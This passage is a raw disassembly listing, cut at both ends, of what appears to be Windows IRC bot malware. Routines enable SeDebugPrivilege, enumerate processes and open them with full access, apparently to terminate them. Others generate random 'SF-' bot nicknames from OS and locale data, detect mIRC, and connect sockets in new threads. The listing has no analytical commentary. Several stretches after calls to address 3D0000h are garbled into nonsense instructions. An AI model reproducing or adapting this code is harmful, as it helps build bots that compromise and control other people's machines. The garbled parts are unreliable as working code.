		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BB4:				; CODE XREF: sub_413B5B+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BBE:				; CODE XREF: sub_413B5B+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BC8:				; CODE XREF: sub_413B5B+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BD2:				; CODE XREF: sub_413B5B+1Aj
		sub	eax, 7Ch
		jz	short loc_413BFF
		sub	eax, 7C8h
		jz	short loc_413BF8
		dec	eax
		jz	short loc_413BEE
		dec	eax
		jnz	short loc_413C5C
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BEE:				; CODE XREF: sub_413B5B+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_413C7D
; ---------------------------------------------------------------------------


loc_413BF8:				; CODE XREF: sub_413B5B+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413BFF:				; CODE XREF: sub_413B5B+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C06:				; CODE XREF: sub_413B5B+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C0D:				; CODE XREF: sub_413B5B+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_413C46
		jz	short loc_413C3F
		sub	eax, 8ADh
		jz	short loc_413C71
		dec	eax
		dec	eax
		jz	short loc_413C38
		dec	eax
		jz	short loc_413C31
		dec	eax
		dec	eax
		jnz	short loc_413C5C
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C31:				; CODE XREF: sub_413B5B+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C38:				; CODE XREF: sub_413B5B+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C3F:				; CODE XREF: sub_413B5B+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C46:				; CODE XREF: sub_413B5B+B9j
		sub	eax, 8CAh
		jz	short loc_413C78
		sub	eax, 17h
		jz	short loc_413C71
		sub	eax, 25h
		jz	short loc_413C6A
		sub	eax, 29h
		jz	short loc_413C63


loc_413C5C:				; CODE XREF: sub_413B5B+35j
					; sub_413B5B+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C63:				; CODE XREF: sub_413B5B+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C6A:				; CODE XREF: sub_413B5B+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C71:				; CODE XREF: sub_413B5B+C2j
					; sub_413B5B+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_413C7D
; ---------------------------------------------------------------------------


loc_413C78:				; CODE XREF: sub_413B5B+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_413C7D:				; CODE XREF: sub_413B5B+40j
					; sub_413B5B+4Aj ...
		push	offset dword_468BE0
		call	sub_4154CD
		pop	ecx
		mov	eax, offset dword_468BE0
		pop	ecx
		retn
sub_413B5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413C8F	proc near		; CODE XREF: seg000:0040EF34p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179D9
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	near ptr 3D0000h
		wait
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_4179D9
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_4179BC
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	ds:dword_43A388
		test	eax, eax
		jnz	short loc_413D1F
		mov	esi, offset dword_4689DC
		push	offset dword_437400
		push	esi
		call	sub_4154CD
		pop	ecx
		pop	ecx
		jmp	short loc_413D48
; ---------------------------------------------------------------------------


loc_413D1F:				; CODE XREF: sub_413C8F+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_413B5B
		pop	ecx
		mov	esi, offset dword_4689DC
		push	eax
		push	offset dword_4373C4
		push	esi
		call	sub_4154CD
		add	esp, 14h


loc_413D48:				; CODE XREF: sub_413C8F+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413C8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413D4D	proc near		; CODE XREF: sub_409DD7+7p
					; sub_413DB8+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	near ptr 3D0000h
		add	[eax-1], dl
		adc	eax, offset dword_43A35C
		test	eax, eax
		jnz	short loc_413D6C
		leave
		retn
; ---------------------------------------------------------------------------


loc_413D6C:				; CODE XREF: sub_413D4D+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	ds:dword_43A334	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_413DAA
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_413D93
		or	[ebp+var_8], 2
		jmp	short loc_413D97
; ---------------------------------------------------------------------------


loc_413D93:				; CODE XREF: sub_413D4D+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_413D97:				; CODE XREF: sub_413D4D+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	ds:dword_43A3E4	; AdjustTokenPrivileges
		mov	esi, eax


loc_413DAA:				; CODE XREF: sub_413D4D+32j
		push	[ebp+var_4]
		call	ds:dword_42106C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_413D4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413DB8	proc near		; CODE XREF: seg000:00411610p
					; sub_413F69+74p

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	ds:dword_43A398, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_413F62
		cmp	ds:dword_43A37C, ebx
		jz	loc_413F62
		cmp	ds:dword_43A298, ebx
		jz	loc_413F62
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	ds:dword_43A398	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_413F55
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A37C	; Process32First
		mov	esi, ds:dword_42106C
		test	eax, eax
		jz	loc_413F50


loc_413E5B:				; CODE XREF: sub_413DB8+BEj
					; sub_413DB8+CCj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_43A298	; Process32Next
		test	eax, eax
		jz	loc_413F50
		cmp	[ebp+arg_10], ebx
		jnz	short loc_413E5B
		cmp	[ebp+arg_C], ebx
		jnz	loc_413F08
		cmp	[ebp+arg_4], ebx
		jz	short loc_413E5B
		push	[ebp+var_124]
		push	8
		call	ds:dword_43A398	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], ebx
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_413EC5
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	ds:dword_43A244	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_413ECB
		lea	eax, [ebp+var_230]
		jmp	short loc_413ED1
; ---------------------------------------------------------------------------


loc_413EC5:				; CODE XREF: sub_413DB8+EBj
		push	[ebp+var_124]


loc_413ECB:				; CODE XREF: sub_413DB8+103j
		lea	eax, [ebp+var_108]


loc_413ED1:				; CODE XREF: sub_413DB8+10Bj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h
		push	edi
		call	esi	; CloseHandle
		jmp	loc_413E5B
; ---------------------------------------------------------------------------


loc_413F08:				; CODE XREF: sub_413DB8+C3j
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413E5B
		push	[ebp+var_124]
		push	ebx
		push	1F0FFFh
		call	near ptr 3D0000h


loc_413F32:				; CODE XREF: sub_413DB8+17Cj
		mov	edi, edi
		jnz	short loc_413F32
		mov	edi, eax
		call	esi	; CloseHandle
		push	ebx
		push	edi
		call	near ptr 3D0000h
		wait
		test	eax, eax
		jnz	short loc_413F4B
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_413F62
; ---------------------------------------------------------------------------


loc_413F4B:				; CODE XREF: sub_413DB8+18Cj
		push	1
		pop	eax
		jmp	short loc_413F64
; ---------------------------------------------------------------------------


loc_413F50:				; CODE XREF: sub_413DB8+9Dj
					; sub_413DB8+B5j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_413F55:				; CODE XREF: sub_413DB8+75j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx


loc_413F62:				; CODE XREF: sub_413DB8+3Aj
					; sub_413DB8+46j ...
		xor	eax, eax


loc_413F64:				; CODE XREF: sub_413DB8+196j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_413DB8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F69	proc near		; DATA XREF: seg000:004121C8o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset dword_4374D0
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154CD
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_413FC8
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D32
		add	esp, 14h


loc_413FC8:				; CODE XREF: sub_413F69+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_413DB8
		add	esp, 18h
		test	eax, eax
		jnz	short loc_413FF0
		push	offset dword_437494
		jmp	short loc_413FF5
; ---------------------------------------------------------------------------


loc_413FF0:				; CODE XREF: sub_413F69+7Ej
		push	offset dword_43745C


loc_413FF5:				; CODE XREF: sub_413F69+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4154CD
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_414028
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_412D32
		add	esp, 14h


loc_414028:				; CODE XREF: sub_413F69+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_40B151
		push	[ebp+var_14]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		retn
sub_413F69	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================



sub_414047	proc near		; CODE XREF: seg000:004115B2p
					; sub_4150B4+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	near ptr 3D0000h
		repne mov esi, eax
		test	esi, esi
		jz	short loc_414079
		push	0
		push	esi
		call	near ptr 3D0000h
		les	eax, [ebp+560975C0h]
		xor	edi, edi
		call	ds:dword_42106C	; CloseHandle


loc_414079:				; CODE XREF: sub_414047+1Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_414047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41407E	proc near		; CODE XREF: sub_4036D4+Ap
					; sub_403C8B+16p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	sub_415529
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_421668
		call	sub_415F6C
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41407E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140AE	proc near		; CODE XREF: sub_414419+49p
					; DATA XREF: seg002:off_437518o

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		mov	edi, [esp+0Ch+arg_0]
		mov	[esp+0Ch+var_C], offset	aSf_0 ;	"SF-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414107


loc_4140E1:				; CODE XREF: sub_4140AE+57j
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43756C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_4140E1


loc_414107:				; CODE XREF: sub_4140AE+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4140AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41410C	proc near		; CODE XREF: seg000:00410B85p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		call	sub_415529
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_42C168
		test	esi, esi
		jle	short loc_41414F


loc_414139:				; CODE XREF: sub_41410C+41j
		call	sub_415529
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_414139


loc_41414F:				; CODE XREF: sub_41410C+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41410C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset dword_437574
		push	eax
		push	esi
		call	near ptr 3D0000h
		and	[edi], ecx
		mov	esi, 43757405h
		add	[edx+41h], ch
		pop	ecx
		push	1
		pop	edx


loc_414195:				; CODE XREF: seg000:004141A0j
		cmp	eax, ecx
		jnz	short loc_41419C
		mov	[ebp-4], edx


loc_41419C:				; CODE XREF: seg000:00414197j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_414195
		push	61h
		pop	ecx


loc_4141A5:				; CODE XREF: seg000:004141B0j
		cmp	eax, ecx
		jnz	short loc_4141AC
		mov	[ebp-4], edx


loc_4141AC:				; CODE XREF: seg000:004141A7j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4141A5
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_42C168, esi
		jle	short loc_4141F1


loc_4141CB:				; CODE XREF: seg000:004141EFj
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43756C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_4141CB


loc_4141F1:				; CODE XREF: seg000:004141C9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_421144	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_437578
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414266


loc_414240:				; CODE XREF: seg000:00414264j
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43756C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_414240


loc_414266:				; CODE XREF: seg000:0041423Ej
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_438F9C
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_42110C	; GetVersionExA
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_4142F0
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4142D0
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4142C0
		mov	esi, offset a95	; "95"


loc_4142C0:				; CODE XREF: seg000:004142B9j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_41432C
		mov	esi, offset aNt	; "NT"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142D0:				; CODE XREF: seg000:004142B0j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4142E0
		mov	esi, offset a98	; "98"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142E0:				; CODE XREF: seg000:004142D7j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_414327
		mov	esi, offset aMe	; "ME"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_4142F0:				; CODE XREF: seg000:004142A7j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_414327
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_414309
		mov	esi, offset a2k	; "2K"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_414309:				; CODE XREF: seg000:00414300j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_414319
		mov	esi, offset aXp	; "XP"
		jmp	short loc_41432C
; ---------------------------------------------------------------------------


loc_414319:				; CODE XREF: seg000:00414310j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_437584
		jz	short loc_41432C


loc_414327:				; CODE XREF: seg000:004142E7j
					; seg000:004142F7j
		mov	esi, offset dword_42B798


loc_41432C:				; CODE XREF: seg000:004142C7j
					; seg000:004142CEj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43757C
		push	1Ch
		push	edi
		call	sub_415A4A
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_42C168, esi
		jle	short loc_414370


loc_41434A:				; CODE XREF: seg000:0041436Ej
		call	sub_415529
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_43756C
		push	1Ch
		push	edi
		call	sub_415A4A
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_42C168
		jl	short loc_41434A


loc_414370:				; CODE XREF: seg000:00414348j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414376	proc near		; CODE XREF: sub_414419+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4143C5
		call	ds:dword_43A384	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_437590
		jnz	short loc_4143AE
		mov	eax, offset byte_438F9C


loc_4143AE:				; CODE XREF: sub_414376+31j
		push	eax
		push	esi
		push	offset dword_437588
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_415A4A
		add	esp, 14h
		jmp	short loc_4143E5
; ---------------------------------------------------------------------------


loc_4143C5:				; CODE XREF: sub_414376+22j
		call	ds:dword_43A384	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_437590
		jnz	short loc_4143D9
		mov	eax, offset byte_438F9C


loc_4143D9:				; CODE XREF: sub_414376+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_4143E5:				; CODE XREF: sub_414376+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_415CD0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_414414
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_416EF0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_416D20
		add	esp, 18h


loc_414414:				; CODE XREF: sub_414376+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_414376	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414419	proc near		; CODE XREF: sub_40CB59+7Fp
					; sub_40CCC1+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_437514


loc_414425:				; CODE XREF: sub_414419+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_414440
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_4158F0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41444A
; ---------------------------------------------------------------------------


loc_414440:				; CODE XREF: sub_414419+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_41444A:				; CODE XREF: sub_414419+25j
		test	eax, eax
		jnz	short loc_41445C
		add	esi, 14h
		inc	edi
		cmp	esi, offset dword_437578
		jl	short loc_414425
		jmp	short loc_41446A
; ---------------------------------------------------------------------------


loc_41445C:				; CODE XREF: sub_414419+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_437518[eax*4]
		pop	ecx


loc_41446A:				; CODE XREF: sub_414419+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41447D
		push	[ebp+arg_0]
		call	sub_414376
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41447D:				; CODE XREF: sub_414419+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_414419	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414482	proc near		; DATA XREF: sub_41454F+7Bo

var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_B8]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A4h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_34]
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	ds:dword_43A3F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_414540
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	ds:dword_43F514[ecx], esi
		jz	short loc_414540
		push	[ebp+var_34]
		push	[ebp+var_28]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		mov	edi, offset dword_469244
		push	offset unk_437594
		push	edi
		call	sub_4154CD
		push	0
		lea	eax, [ebp+var_B4]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_B8]
		call	sub_412D32
		push	edi
		call	sub_40B151
		add	esp, 28h


loc_414540:				; CODE XREF: sub_414482+5Dj
					; sub_414482+7Ej
		push	esi
		call	ds:dword_43A410	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_414482	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41454F	proc near		; DATA XREF: seg000:004102E8o

var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Ah
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, ds:dword_421060
		mov	dword ptr [ebx+0A0h], 1
		xor	edi, edi


loc_41457D:				; CODE XREF: sub_41454F+ECj
		push	[ebp+var_2C]
		push	[ebp+var_20]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_4375D0
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43F308
		push	eax
		call	sub_416D20
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_414482
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_4145E9


loc_4145DE:				; CODE XREF: sub_41454F+98j
